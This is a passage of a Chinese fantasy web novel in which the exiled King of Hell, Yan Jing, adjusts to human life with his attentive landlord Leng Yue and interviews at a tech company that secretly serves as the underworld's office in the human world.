阎璟被扒拉着终于回头,一看,好嘛,原来是个包着西装皮的黄大仙!
“你能告诉我,我想要的消息吗?”阎璟手里的板砖还在手里晃悠。
“问问问,赶紧问……”黄大仙松了松脖领上系的黄色领带,忒不耐烦。
“此地何处?”
“S城。”
“有无阴间办事处?”
“有。”
“在哪?”
“我咋知道在哪?你也是个异士,应当明白,这些存在于人间的阴间办事处,都是神秘不能在神秘的机构,我一个未修炼成道的小山妖哪里知道。”
“不,你是山神。”
黄大仙瞬间眼睛明亮起来,脸上似有些得意,“真的像吗?”
“很——帅!”阎璟给予肯定。
黄大仙轻咳两声,腰板都站直了,顺手把自己的西装整理整齐。
一刻钟后。
黄大仙拉着阎璟坐在前面的石台处,迎着天上那轮被乌云遮住的月亮,望着山下的万家灯火,两个人开始交心交底!
“那你知道山下那处人家的来历吗?”阎璟想知道的都已经知道,便好奇冷樾此人来。
黄大仙目光望着庄园的星光,和那颗醒目的白玉兰,啧啧两声,“哎呀,你说那个冷冰冰的冰棍啊!”
“冷冰冰?”
“就是那个山庄的主人。”
“冷樾吗?”
“反正是冷就对了,要说这个,你可问对人了。”黄大仙毕竟土生土长在此地,肯定知道别人不知道的一些东西。
“怎么说?”
“几百年前啊,大约三百年前吧,他的祖宗就在这座山上捣鼓这,捣鼓那,又找风水师,又找花和尚念经,然后,开始施工,百来年呐!陆陆续续到了他这一辈,这几乎占据此山一半规模的庄园,才算完工。”
“一处院落,盖了几辈子?”是个狠人!
阎璟不太能明白。
黄大仙见怪不怪,点点自己的太阳穴,“他们这些凡人呐,脑子一根筋,都不请装修队,都是自己单干,那个荷花池塘看到没?”
阎璟点点头。
“人家自己一点点挖的。房子一砖一瓦,自己盖的,树,自己栽的!反正这些有钱人脑壳里,多半都有病。”
“原来如此。”
知道前因后果的阎璟心里多少有点罪恶感。
感情人家几辈子的人铸造的心血,他一朝掉下来,就捡了个现成的!
“黄大仙人,谢谢你。”
“客气了,你下次别拆我庙就行。毕竟,这座城里能听到我说话的人太少了。”话刚说完,黄大仙表情一变,手往膝盖上一拍,“哎呦,坏了,我女儿醒了,我得赶紧回家,你也别坐着了,抓紧时间回去吧!”
说完,一溜烟便不见了。
随着黄大仙的消失,阎璟也长呼出口气,通过这几天跟冷樾相处,他的社恐倒是有点改善!
至少,他刚刚在黄大仙面前的表现,还算不错。
说到冷樾!
哎呀,糟糕!已经快超过冷樾定下的门禁,不知道迟了还能不能进门了。
阎璟赶紧从石台处爬起来,拍拍屁股赶紧往山下走。
此时,裤兜里的手里叮咚响了一下,阎璟掏出手机,点开信息一看:
【尊敬的阎璟先生,你的简历已经通过审核,请于三天内到达《伦晖科技集团》参加面试,地址:牡丹街道香樟路梧桐大道18号,祝你一路顺风。】
阎璟:???????
他何时投的简历?
5. 改头换面的阎王大人
“轰隆隆!!”
一道闪电将夜空划破,一光一响,一瞬一轰!击碎厚重的乌云,打在寂静的山峰!
阎璟抬头望天,心中暗暗叫苦,这叫什么事?怎么也要等到他回到家再下雨吧!
他一周没出过门,天气每天都很晴朗,难得出一次门办事,还下起雨来了?
天道只说要要他体会基层人民群众生活,这连疾苦也要共同体会?
阎璟深深感觉,背后那道天雷是追着他劈的,不就偷懒了一周,至于吗?
于是加快步伐往山下走去,可还是没有快过老天。
阎璟刚转身回头望,后面的雨如同在跟他赛跑一般,雨幕渐渐如滔天巨浪,就这么淅淅沥沥从他身上碾过往前掠去,只一瞬间,将他全身浇透。
阎璟顿时愣在原地,将脸上被雨水打湿的头发扒拉下来,嘴里吐出一口水来,长长的睫毛上,水珠如晶,一滴一滴滑落。
他绝对不是被害妄想症,深深怀疑天道那群老头子,是不是正在哪个犄角旮旯里偷窥于他,就像这次被打下来人间界是一样的,哪哪都赶,哪哪都巧,哪里就这么赶巧!
雨一直逮着他追着下!生怕他身上干净一点!
阎璟无语到没脾气,想用仅剩的神力将衣服烘干,但是又怕,自己刚烘干,又得再来一遍,索性不管了!
“小璟。”
思绪正想着,恍一抬头,冷樾打着一把青色油纸伞,在半山腰的马路上缓缓朝他走来,面容担忧。
“淋湿了吗?”越走近,阎璟越感觉到,冷樾此时的脸色似乎极为难看。
阎璟一脸吃惊状,“你,你是怎么找来的。”
冷樾叹息,“吃饭的时候,我看你眼神老往山上瞄。我刚刚去找你,见你不在房间,便想着你应该是上山来了。”
猜的可真准!
冷樾把伞几乎全撑在他的头顶,丝毫不管自己的半边肩膀被雨淋透,阎璟见状,实在不好意思,把伞往他身上又挪了点,“你别光顾我,你也湿了。”
冷樾换了只手,用靠近他的那双手揽着阎璟的肩膀,把人往自己身边带,两人几乎密不透风,“这样,你靠近我一点,就好了。”
冷樾的手很大很有力量,促使阎璟身体一僵,衣袖里的双手不自觉的蜷缩着,心理调节好一大会,才硬逼着自己,把身体放松下来。
冷樾自然也能感觉到他的僵硬,但还是紧紧揽住,不断靠近自己的胸口。
一段山路上的两个人紧紧相依在雨幕中,青色的油纸伞下,两张出色的面孔,两颗温热的心不知不觉间,在慢慢贴近。
雨势不见小,反而越演越烈,两人到家时,几乎下半身都湿透了。
冷樾二话不说,直接把人推到浴室中,转身去给他拿睡衣,留下一句,“先洗热水澡,我待会去煮姜汤,去去寒气。”
阎璟在浴室里,学着冷樾前几天帮他放水的动作,看着墙面上的触屏按键,手指按好几下。
没有出水!
又按了一下!
“啊!”
卧室里正拿睡衣的冷樾一听到呼喊,立马跑过去,问:“怎么了?”
打开浴室的门,看着阎璟头顶被上方喷淋浇个满脸,头发贴在脸上,狼狈之极。
冷樾第一时间关闭淋浴,打开浴缸模式,自动开始放水。
又扯过悬挂在墙面上的干毛巾,抓紧时间给阎璟擦头发。
阎璟低着头,羞愧不已,耳尖粉红,顺着冷樾的手劲,接过毛巾自己擦拭起来。“抱歉,老是给你添麻烦。”
冷樾揉揉他的头发,语气温柔中带着宠溺,“这算什么麻烦,我反而希望你多麻烦麻烦我。”
“为什么?”
“这样显得我们亲近一点。太客气,有疏离感。”
阎璟本来就不喜欢跟人打交道,但是,一开始就出现的冷樾,似乎不怎么讨厌。
想起黄大仙说起冷樾是个冷冰冰的人,可明明,他接触到的冷樾,是个温柔善良又能干的好房东。
看来人果然得接触才能知道真相啊!
所以,他不能一直逃避,不接触人类,冷樾就是他迈出去的第一步!
努力发出邀约,“呃……那个冷樾,你身上也湿了,要不,一起洗吧!”
一起!!
冷樾原本还为阎王大人不让自己给他擦头发而在意,毕竟,近身这种事真是可遇不可求。
谁料,阎璟这句话,直接把冷樾干懵圈了。
阎璟竟然邀约一起洗澡?
可不得了!
冷樾试图调整自己鼓舞的心跳和急促的呼吸,一瞬间,左右脑来回搏斗几百回合,终于冷静下来后,才把人扒光,按在浴缸里,“你先洗吧,我姜汤快煮好了,出去看看。”
说完,便快速走出浴室,似乎有狼在他身后追他一般,比淋成落汤鸡的阎璟还狼狈。
坐在浴缸里的阎璟一脸茫然,后知后觉才发现,“他刚刚是脸红了吗?”
不是?两个大男人洗澡,脸红什么?
阎璟穿好衣服出浴室时,冷樾已经将关火起锅。
姜汤的味道辛辣,阎璟喝不习惯,但是也能勉强入口,咕噜咕噜几口喝完,“人可真奇怪,原来淋了雨要喝姜汤驱邪?”
“是驱寒!”冷樾纠正他。
阎璟点点头,“记住了。”
第二天清晨,是周休。
阎璟固定时间吃完早饭,表示要去市区一趟,冷樾边收拾碗筷边问:“去做什么?”
“剪头发。”阎璟实话实说。
阎璟虽然初来乍到,没接触几个人,但是也能看出来冷樾是短发,昨夜的黄大仙也是一头短发,而他自己的长发,在现在的社会风气看来尤其突出。
阎璟实在是对头发没什么动手能力,毕竟,在冥界,都是由他的鬼侍打理的,“我实在对打理头发没有什么天赋,索性剪掉。”
冷樾走到他身后,仔细抚摸着这一路垂落,直达腰窝的长发,沉着声道:“一定要剪吗?”
明明这么漂亮!
阎璟下定决心,郑重点头,“嗯。”
他可不想出去成为别人的焦点,他怕死了。
如果焦点都放在他身上,估计能晕过去!
“那我帮你剪。”冷樾双手搭在他的双肩上,语气喷在他的耳边。
阎璟没觉得他们这么近有什么问题,只是眨眨眼,疑惑的转头问,“你会?”
冷樾自然的靠近他,“记住,我什么都会。”
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>冷樾说会,那就是真的会,改成又换面的阎王大人,去掉一帘墨色的青丝,整个人由略显英气的女子,变成一个看上去干净,清爽,活脱脱像个刚出社会的大学生。
阎璟在镜子前看好大一会,相当满意。
这才是伪装成人的第一步!
接下来,阎璟望着正在收牙剪的冷樾,掏出手机,直奔主题,“冷樾,我过两天可能要去面试,你能帮我查一下这家公司吗?”
冷樾看着阎璟手机上那公司名称,一时无语:“……好。”
阎璟惊叹于现在人类的科技已经这么先进,怪不得,他需要重新学习新知识了。
冷樾边看边介绍,“伦晖科技集团,主打计算机应用与网络,业务有很多种。这家公司规模不大,但是很稳定,每年的慈善一直都有在做,很接地气,只是,能进这家公司的人,在社会中的地位都不低。”
“哦?怎么说?”
“佛,道两家都有人员涉猎。”冷樾继续扩散,“据我所知,他们这家公司还涉及到一些不可言说的超自然事件和神秘现象,很像早些年的749局。”
“那是什么?”
“一个专门处理超自然和灵异事件的国防组织。”
“听上去,很适合我。”阎璟听冷樾如此说,便放下心来,毕竟,这公司是突然跳出来的,他心里没底。
不过现在看来,是有人知道他的存在,专门邀请他进去的。
他如果不去,岂不是让有心人落空。
冷樾翻到最下方,“这上面地址,跟我现在所在的公司很近,以后你上班,我接送你。”
这还包接送!
“行,就他了。”
阎璟大手一挥,直接定板!
阎璟看不见的角落里,冷樾垂下的嘴角微微勾起。
不对,他还忘了一件重要的事!
阎璟直起身子,想起之前了解到这个世界的知识,“冷樾,你觉得我这个三无人员,能面试上吗?”
三无人员?谁?阎王大人?
“你在担心什么?”冷樾问。
阎璟拍拍脑袋,“我是不是应该跟电视里学习,面试前需要做份漂亮的简历?”
“嗯……”
阎王大人的简历一定相当精彩,但是一句话也不能写。
“人家都是道家,佛家有名的大能,大学也都是高级学府,我怎么办?”
冷樾倒是没有想到这一步,
“这……”还得抽空帮阎王大人办个大学毕业证。“交给我吧。”
“这你也能搞定?”
“毕竟有钱能使鬼推磨嘛!一个野鸡大学毕业证,手拿把掐!”
阎璟摇摇头,“这都是骗人的,鬼能把你绑那里推磨。”
“你怎么知道?你见过。”
“我……当然没见过。”阎璟赶紧转移话题,“冷樾你真太好了,如果没有遇见你,我可能……可能就嘎嘣一下死那了。”
当然这个死不是那个死,社死是肯定的!
冷樾把人拉到面前,眼底的柔光能滴出水来,揉揉那柔顺的软发,“是我谢谢你愿意留下来。”
阎璟又开始不好意思了,人家造了三百年的房子啊!
便宜他住了!
6. 准备面试的阎王大人
隔天,冷樾便告诉阎璟,他费尽心思,拖好几方关系,将那份象征着野鸡大学毕业证办理好了。
阎璟拿着毕业证书,稀奇的不得了,“你怎么办到的?太厉害了!”
阎璟并不是一定要冷樾一个答案,只是太过于激动,对他更是钦佩之余更多感激之情。
接过冷樾手里那红本本,看着上面自己的证件照和名字,恍若一瞬,自己也算是个正规大学优秀毕业了。
冷樾瞧着他眼睛放光,心里暗暗开心不已,“哦,对,待会还要带你去办身份证。”
“有这个还不行吗?”
还要办身份证?
“那你有身份证吗?拿出来看看。”冷樾明知故问。
阎璟肯定是没有,阎王大人在人间界是黑户无疑?
可是冷樾似乎就是想逗他,“可据我观察,那日你从天上掉下来,身上□□……”
这么些天的相处,阎璟对他没有远没有一开始的疏离感,这会子已经可能直接上手,捂上他的嘴,警告道:“不用你提醒我。办,我跟你去办!”
冷樾呵呵笑出了声,心里有点不想阎璟把那双玉手抽回去。
阎璟这是到人间界以来,名义上第一次下山,自然看什么都是稀奇,冷樾给他系好安全带,一路往目的地前行。
公安机关内办事的人不算多也不算少,来来回回二十好几人。
阎璟一下车,见到如此多的人,又开始条件反射性两眼发晕,左顾右盼,甚至上楼梯连脚都不知道该迈那一条。
冷樾停好车从后面绕过来,看着站在原地低头全身紧绷的阎璟,心念一想,便明白过来,赶紧上前把人手拉住,轻声又关切,“没事吧。”
冷樾的声音一下子让阎璟回过神来,眼前旋转的一切渐渐清晰。
他还以为这一段时间和冷樾在一起,总觉得自己的社恐症稍微好了一些,之前没想到,当他真的接触时,一下子被打回原形。
不太行,也不行!
谁让他身处这个位置,又被降下了神罚!
阎璟不断调整自己的呼吸,让自己平复下来,“没事,我就是……就是,很久没有出门了。”
冷樾牵着人一路到工作台取号,登记,排队拍照,阎璟就像个精致的布娃娃一样,冷樾说啥他做啥,乖的不得了。
“地址?”等到填家庭住址时,阎璟一时愣住,瞧了冷樾一眼。
冷樾接收到他的目光,伸手拿过笔,仔仔细细帮他填了上去。
阎璟好奇,冷樾写一个字,他读一个字,“北环山街—离人巷—青灯山庄188号。”
办事工作人员听到是青灯山庄的人,纷纷抬头朝冷樾看了一眼,又在阎璟身上转了几圈,遂又装作无事,继续办理!
这情形让阎璟好奇起来,这地址有什么问题吗?为什么都这个眼神看他们。
□□的公职人员告诉他们,“证件需要十个工作日才能出来。”
阎璟索性也不着急!
两个人出了大门,便在街上慢慢悠悠,漫步起来。
阎璟也想趁着这个机会,让自己努力的融入人群。
冷樾明白他的意思,给他出主意,指着咖啡小店,鼓励他,“去试试看,自己完成一次跟别人的交流。”
然后从钱包里掏出一张红色的毛爷爷递给他。
“我要黑咖,其他你随意。”
阎璟从冷樾手上接过红钞,给自己打气,便往里面走去,他不明白冷樾为什么要喝那个苦不拉几的黑东西,但还是鼓起勇气主动出击。
阎璟试了好几次,迈开腿到点单区,服务员头都没有抬一眼,“请问要点什么?”
阎璟指了指上面的图片,“这个。”
服务员终于抬头看了一眼,瞬间愣了一下。
“扫码还是现金?”
阎璟虽然一时间听不太懂,但也明白,需要出示冷樾给他的那张纸币,于是掏出来双手递了过去。
“帅哥,你要不要看看别的,这个套餐会比单点划算哦。”服务员指着一处套餐给他介绍。
“啊?”阎璟背后冷汗又开始不受控制的往外冒,“这……我……”
服务员也在等他答案。
阎璟也犹豫不决!
“前面帅哥能不能快点,后面等着呢!”就在这时,后面排队的一位中年男子开始不耐烦的催促起来。
本来就混乱的阎璟努力让自己冷静下来,“就……这样吧!”
“好的。”
阎璟终于松了口气,身子往旁边让了让,后面哪位中年男子顺势往前,拿着斜眼扫了一下阎璟的正脸。
深深倒吸一口凉气,快速点好自己的单后,又把阎璟刚刚放弃的套餐点了一遍,“加上刚刚点的那份套餐,送给这位先生。”
他的目光放在阎璟身上,笑眯眯,直勾勾的不带任何遮掩,阎璟往后退了一步,连连摆手,“不用,我有钱。”
“就当交个朋友。”
阎璟:……
十五分钟过去了,也不见阎璟回来,冷樾心里多少有些担忧。
他是想让阎璟能尽快融入人类社会,但是毕竟是第一次出门,独自购物。
不放心的冷樾还是忍不住走进店里。
门刚推开,就听到里面几名的男人声音和旁边两个小姑娘吵了起来,其中一个还是服务员。
进来一看,阎璟睁着那双大眼睛,可怜巴巴站在一个角落里瑟瑟发抖,面前两个小姑娘挡着那个中年男子和他的朋友,两方对峙,舌战群雄,“人家说的很清楚,你这人多少有大病,没听到这位帅哥已经拒绝你了吗?”
男方:“交个朋友而已,给脸不要脸!”
女方:“你要脸?你往人家身上贴,到底谁更不要脸,不就看人家单纯,想拐骗人家良家妇男。呸!”
男方:“你嘴巴放干净点!我们就是想跟他认识一下,留个联系方式。”
女方:“人家说了,不知道。”
男方:“装什么?还不知道?”
女方:“这是成年人的拒绝,已经拒绝了,你自己揣着明白装糊涂,又在装什么?”
男方:……
冷樾看着角落里弱小可怜又无助的阎王大人,又无语又觉得好笑,连忙走上前去,“小璟。”
冷樾的声音不大,但就是在如此嘈杂的声浪中显得格外清晰。
这一声线出,让众人纷纷都朝他看去。
冷樾目光一直在阎璟身上,所到之处,自动分开众人,那两个保护他的小姑娘也不自觉的往旁边站。
冷樾步履稳重走到阎璟面前,安抚着他,“我说怎么这么久呢,原来是被人欺负了呀!”
“冷樾,我又搞砸了。”阎璟看到冷樾像是见到了救世主。
他刚刚整个人都傻掉了,怎么就突然全吵起来了。
而且越演越烈,他被人在中间扯来又扯去,恨不得找个地缝钻进去拉倒。
冷樾揉揉他的小脑袋,告诉他,没事的。然后转头看着那中年男子和他的朋友,目光深邃,问,“你们还有事吗?”
冷樾无形的气场,压的几个中年男子喘不过气来,一开始那嚣张气焰瞬间消散,也不知道身体的本能反应,他总感觉眼前这个男人不是个善茬。
“没……没事,我们这就走了,这就走。”几个男人连咖啡都不喝了,后退推门时还踉跄几步,差点撞玻璃门上。
阎璟站在冷樾身后,心还在紧张的怦怦直跳,有感而发,“人真可怕。”
旁边一开始帮他的小姑娘赞同地点头,“可不是,这些人思想龌龊的很,可怕的很。”
冷樾牵着阎璟,转身朝着两个小姑娘致谢?
“应该的应该的。”小姑娘笑的合不拢嘴,尤其冷樾站在阎璟身边时,那嘴角就没下来过。
经此一遭,阎璟没有在逛下去的欲望,直接跟冷樾两人打道回府。
午饭毕,阎璟电视也不看,就坐在电脑面前发呆,阳光斜斜透过窗台,在卧室里投下光影。
冷樾在前面院子中剪花束,然后亲柔擦拭花瓣,换掉阎璟房间内花瓶里已经有些蔫吧的花,整理得错落有致,颜色搭配也很鲜亮,让整个房间充满生机。
只是可惜,阎璟没有那个心思欣赏。
“怎么了,还在为早上的事耿耿于怀?”冷樾把花瓶放好,注意到他的兴致不高。
阎璟只顾叹息,摇摇头道:“不是,我是担心明天的面试,我怕……”
怕自己到时候社恐发作,说不出话来就糟糕了,早上的事也让他心有余悸
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。
“别怕,以你的能力,肯定能过的。”
“野鸡大学的能力吗?”他的证书可都是假的!
冷樾笑容浅浅,走到他面前,单膝蹲在他脚下,仰头望他,“面试其实很简单,无非就是一些正常例问,你想想身处高位的领导者是如何问话的?”
阎璟回想自己自己以前审问地府里那些罪犯,他可从来不废话,“要么认罪,要么畜生道。”
罪犯哆哆嗦嗦:“我认罪!”
“那就押入十八层地狱改造后,再投畜生道。”
“……”
毫无参考价值!
阎璟更头疼了!
“别想了,来看看我给你准备的衣服。”冷樾一看阎璟的表情,就知道,他在想自己冥界使用那些招数,一点用也没有,于是,带着他转移注意力。
阎璟被拉着到衣帽间,白衬衫,私人定制的西装,一个个在他身上试,几抽屉的领带一个个拿出来配装。
面对这么温柔体贴的冷樾,阎璟又想幻化一些古刀币给他,让他去换钱。
“想什么呢?试试看。”
阎璟答应一声,丝毫不避讳,直接在他面前把上衣脱掉,拿起衬衫站在镜子前,慢慢穿来。
阎璟低头两只手在跟纽扣较劲,完全没有看到后面的冷樾眼神里火焰与快溢出来的温情。
“刚刚好。”
阎璟发现他这个衣帽间的衣服,都是刚刚好是他的尺寸,虽然冷樾告诉他,那些都是他之前定做,但是小了没法穿的,才放在这的,正巧全部便宜了自己。
阎王大人生的好,这个认知冷樾一开始就知道,只是没想到,脱去那繁杂冗长的龙袍,白色的衬衫在腹部形成形成一道这褶皱,在腰间收束,勾勒的曲线,喉结之下,勒紧的欲望,让冷樾不敢直视。
窗帘被风调皮的吹起,荡起层层白纱。他只能控制自己的身体,慢慢挪开视线,给他整理其他衣服转移注意力。
“我不会打这个领带。”阎璟遇到了难题。
“我帮你!”冷樾暗暗吐口气,转过身来,接过领带,在阎璟脖领处,视线转移,凭着技巧左绕一下右绕一下,没多会就打好了。
阎璟自然没有注意到他的小动作,“万事俱备,只欠东风。”
“我要去做饭了,你自己准备吧。”阎璟深吸一口气,看不见背后的手止不住的颤抖,最终失败的落荒而逃。
“哦好。”阎璟应了一声,皱着眉喃喃自语,“不是刚吃过午饭嘛?”
冷樾这边刚出阎璟的房间,便直接回自己卧室,身下的不由自主,不停使唤,呼之欲出,可恶之极!
面试的当天。
冷樾例旧做好早餐,按时按点去叫阎璟起床。
只是这次,他的手还没落到房门上,门突然从里面被打开了,阎璟顶着一张颓废的脸,头上的翘着几撮呆毛,有气无力的跟他问好,“早上好。”
冷樾愣了一下,“你昨天又上山了?”
阎璟机械般摇摇头。
“那你这是熬夜追剧了?”
阎璟再次摇头,“我就是太紧张,一夜没睡着。”
“……”
冷樾把人往卫生间一推,“你呀,赶紧把脸洗洗,准备吃饭吧!”
阎璟精神气仿佛被一下子抽干,双手一下撑在洗漱台上,低着头弯下腰,自我放弃,“我可能不太行。”
“不太行也不行,就差临门一脚了。”怎么可以在这个地方跌倒!
牡丹街道香樟路梧桐大道18号
阎璟一路上都焉了吧唧,眼睛无神,下车,跟冷樾道别都不走心。
冷樾很是无奈,不放心的跟他交待,“一会面试完我来接你,打我电话。”
阎璟有气无力的点点头。
“无论结果如何,结束后,都带你去吃奶皮子糖葫芦。”
吃的!
阎璟眼光瞬间亮了起来,冷樾更是无语了,还是这个有点效果。
冷樾递给他准备的简历文件袋,阎璟接过,慢慢朝着目的地走去。
坐在车上目送着阎璟的冷樾,收回视线后,脸色瞬间从温和变得冷冽起来,眼神的冷意似乎能冰封万里,掏出手机,熟练的拨了通电话。
“人送过去了。”
7. 格格不入的阎王大人
上午8:45分。
梧桐大道18号,伦晖科技集团楼下。
阎璟望着上面金灿灿几个大字,前后左右都瞄了一圈,正前方有几个拿着八卦盘和铜钱剑的小道士,背上挂着看起来破破烂烂的斜挎书包,这么一对比,自己这身正装在这群拾破烂的眼中,是多么的鲜艳耀眼。
那自然也惹得那些人白眼。
阎璟还没做什么,只是站在那里就从旁边人的目光里感受到不好的意图。
“一个普通人,来伦晖?走错门了吧!”
“就是啊!看起来像个刚毕业的,估计没什么道行。”
“断奶了吗?”
“行了,咱们赶紧进去,别管他了。”
阎璟盯着那几个议论纷纷的背影,喃喃说道:“他们是在说我吧!”
算了,别给自己找不痛快,抓紧练习一下表情吧!要微笑!
阎璟嘴角牵动试了几次,实在笑不不了,直接放弃了,爱咋滴咋滴吧!
玻璃旋转门后,进去别有洞天,虽说跟其他的一些商业体建筑没什么不同,但是布局能看出来,光是大厅内,就布了三个风水阵法!
而且前来面试的人,少说也有十几个,看上去都是有特殊能力的奇人异士,反倒是衬得他像个白灼虾,什么味道都没有。
时间准时一到。
前台小妹踩着一双红色的高跟鞋,与旁边一位女士一起,啪嗒啪嗒朝他们走过来,直接开门见山,“面试业务员的跟我来,面试技术员的跟她走。”
业务员?
技术员?
阎璟只思考一秒,便自觉站在业务员那一队后面,因为他屁技术也没有,神力也被封了。
人员自动分成两队,阎璟走在业务员组的最后一个。
又听前面小妹说道:“面试是流程的一部分,大家正常表现即可。但是丑话说在前头,才艺展示部分呢,大家不准拿符纸出来烧,万一修为不到位,引起大规模烟火,再引起上方烟感启动,惹来不必要到麻烦,你们的职业生涯也就差不多到头了。”
烧符纸?
阎璟走在最后,脸上一惊又一惊,感叹来面试的这些人这么拼吗?
“你……”
众人顺着那前台小妹手指的方向,一个个朝后面的阎璟看去。“面试而已,不需要穿这么正式。”
阎璟感受他人一个个投来的目光焦点,有点难为情,“我记住了。”
“继续走!”
一众人分两波,分别进入两个不同的电梯,电梯方向一上一下,技术组上十八层,业务组电梯朝下,往地下十八层。
这可是有点意思。
阎璟刚踏进去,就发现隐形的结界,果然是阴间办事处,他没来错地方。
同行几人,只有阎璟像个刚入世什么都不懂的小白,好奇来回左右乱看,其他有经验的人已经把寻龙盘拿出来,放在胸前。
前台那位领路小姐把人带到目的地后便转身离去,一句话都没有给他们留。
留下几人面面相觑,头上都是一排问号。
“面试开始了吗?”
里面有个大哥,估计只是被刷下来过,显得特别有经验,“从我们踏入这座楼开始,就已经开始了。”
“那面试官呢?”
阎璟也想问,怎么把他们丢在这后,就不见人了。
正想着,在他们正前方,出现一排六个正在缓缓上升的台子,台子上各有一台全息投影设备。
随着一道机械的声音响起,阎璟瞬间进入状态,“欢迎来到轮回地狱业务组,我是你们的面试官,下面请每个人按照位置,各自找到属于自己的名字的电脑,依次站好,开始笔试!”
阎璟看不懂人间的规则,所以他去最后一个,别人选完后他再选,准没错。
声音再起:“请大家开始依次做答,第一题:生人死后几日内必须登录在册?
“第二题:生魂有未完成的心愿,如何办理?”
“第三题:如何优化投胎排队时间或者建议。
“第四题:走夜路时,若听到别人在背后叫你“喂”时,你应该怎么做?
“第五题:是否能接受出差!”
虽一共五题,但是范围跳脱,阎璟感觉除了第一题,后面真是一题比一题炸裂,但还是如实回答,“七日内。”,“小心愿办事,大心愿办人。”,“聆听民众呼声,不听专家建议。”,“回头问他是不是要投胎。”,“能。”
提交!
全息投影做法结束。
“这也太简单了吧!”人群中有人发出声音。
声音再次响起:“接下来第二环节,才艺展示。”
这是展示自己的机会,说白了,就是让公司看到你不同于别人的价值。
第一个小道士率先举手,“我先来,”
一招隔空取物让大家赞叹不已。
接着第二个,花和尚念超度经。
第三个道士,比划一套伏魔杖,
第四个……
轮到阎璟上场。
他站在中央,面无表情,气定神闲,众人见他样貌虽稚嫩,一身通天的气场却是不俗,纷纷心里对他生出一些真人不露相的神秘感,都觉得自己一开始对他看走眼了,
熟不知,阎璟顶着众人的目光,原地沉默许久,久到冷汗都从不自觉从额角救下,在脑海里风暴一圈,也没想到自己有什么才艺能显示,于是,想到进来时,烧符纸?
于是,他伸出手指,在食指点燃一束幽灵鬼火。
一瞬间,房间暖色的灯光瞬间变得青冷幽暗起来。
身后几人当即呼出声来,“哇哦,还真是个修道的。”
“看吧!我就说,能来这的怎么可是是普通人!”
声音响起:“通过。”
顿时,阎璟心里松口气,转身回到自己都位置。
其他几人完全对他没有一开始的蔑视,纷纷举手鼓掌,“兄弟,你那个鬼火真绝了!”
阎璟内心想,那可不是什么鬼火,是灭世青莲之火。
接下来,第三个环节。
“砰!”
一道灯柱直接砸在他们正前方,原本空荡荡的正前方突然出现一张太师椅,太师椅背对着他们,上面坐着一个人,随着椅身缓缓转过来,上面一位穿着唐装的老者。
随后,在唐装老者身后,不知道从哪个犄角旮旯里又走出来几个人,神出鬼没的,每个人手上拿着一块平板。
阎璟目光隐在灯光之下,默不作声扫视一圈。
四个人各有特色,唐装老者面色红润,手上捏着一串看不出材质的串珠。
在场唯一的女性,脸白如纸,手上正在涂着的红色的指甲油。
而在他旁边的膀大腰圆到壮汉,抱着手臂,那手臂上的纹身怎么看怎么怪异。
最后一个男人,看上去比较正常,穿着得体的西装,笑容无懈可击!
“来吧!每人做一段自我介绍。”女士优先说话,“都坐下吧!按序号一个一个开始。”
道士一:“老朽姓胡,单名一个山,活了……嗯,在社会上摸爬滚打有些年头,精通各种疑难杂症。特长是长坂坡救阿斗。”
有点意思。
几人目光流转,暗中交流,然后在平板上记录信息。
和尚二:“在下不才,略懂些拳脚,略懂些医术,微略懂风水,还略懂捉鬼,更能和某些特定对象有效的沟通。”
有搞头,业务部门最需要这么专业的人才!
道士三:“我叫铁狼,力气大,以前在特殊安保部门呆过,听说你们找硬茬子,我觉得我合适就来了。
……
……
最后一个,又轮到阎璟。
阎璟挺无奈,只好把冷樾给他准备好的资料,一个个放到几个面试官前面,一瞬间,所有人的目光都聚焦过来。
唐装老者更是认真打量他。
那股无形的压力让他喉咙发紧,他张了张嘴,脑子里一片空白,昨晚练习的词全忘了。
“我……叫阎璟。”一开始声音小得像蚊子一样,又清了清嗓子,声音略微大些,“刚毕业,学计算机的……对,对贵公司业务工作有兴趣……想学习前辈的先进知识……想体验一下基层的基本工作模式。”
干巴巴,毫无亮点。
他甚至不敢看几个面试官的眼睛。
那女人跟正儿八经穿得人模人样的西装男四目相对,暗中交流,“金乔觉,就是他吗?说是要走关系进来。”
“估计是了,不
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然咱们这位CEO不去看人跳广场舞,非得跟我们来面试。”
两人暗暗交流后,各自在阎璟到名字后面打来个对号。
场上另外一个盆没有任何异常,照常打分,只有那位穿着唐装的老者脸上带着神秘的微笑,和蔼可亲看着阎璟说道,“面试结束,各位回去等通知吧!”
阎璟察觉到这个老者对他眼神里的打量,想不通是为什么,但是听到结束二字,终于还是松了口气。
出了伦晖公司大门,冷樾已经在外等候多时了。
“如何,顺利吗?”
“应该吧!”阎璟尽了全力,至少,他人没晕过去就算及格,冷樾带着他上车,阎璟看到后视镜中自己的西装,跟他们格格不入的,怎么看怎么不舒服,“对了,他们说可以不用穿正装,他们都没穿,就我一个穿的格外扎眼。”
冷樾嘴角带笑,“那就别穿了吧!
阎璟正有此意,但他担心,“还不知道能不能面试上。”
这家伦晖集团虽然已经确定是冥界在人间界的办事处,但是,里面的人几乎都是有点微末道行的普通麻瓜!
他刚刚表现实在太过于普通,要什么没什么,被涮下来几率挺大的。
哎,阎王大人的焦虑症又犯了。
“放心吧,肯定可以。”
虽说如此,但阎璟依然开心不起来。
午饭是冷樾随便找了家餐厅对付一口,刚刚适应冷樾做菜口味的阎璟,第一次吃到辛辣的菜肴,眼泪都呛了出来,于是更不明白,为什么有的用户还想喝辣味的孟婆汤?
给自己命苦的一生找刺激吗?
“咳咳咳。”
阎璟接过冷樾递过来的水,一饮而尽,才慢慢缓过来。
“这味道真难吃!”
冷樾望着阎璟被呛红的眼角,暗自笑意,“你吃这个,这个口味清淡些。”
阎璟没多少胃口,吃了两勺冷樾端过来的虾仁蒸蛋便放下勺子。
冷樾看在眼里,拿出手机假装回工作消息,没一会又放下!
冷樾手机放下没多久,阎璟手机叮咚响起,阎璟划过一看,瞬间睁大了双眼,不可思议说道:“我进入复试了。”
冷樾一点也不奇怪,给他碗里夹菜,然后给他鼓励,“就说可以的吧!要对自己有信心。”
阎璟很高兴,然后又觉得有点奇怪,“可是我这上午刚面完,中午就让我参加复试,这么快会不会太草率了!”
“正规单位都这样!讲究效率!”冷樾一本正经的给他科普。
“原来如此。”他就是太不效率,才被天道通报,被打下来的!
阎璟那颗悬着的心终于可以放下,肚子便不听使唤的又咕噜噜起来。
冷樾轻笑,收回他的手机,“行了,别看了,抓紧吃饭,准备复试!”
阎璟不太好意思,点点头,拿起餐具认认真真吃起来了!
阎璟没想到,复试通过的人就三个,一个小道士,一个小和尚,还有他这个小阎王。
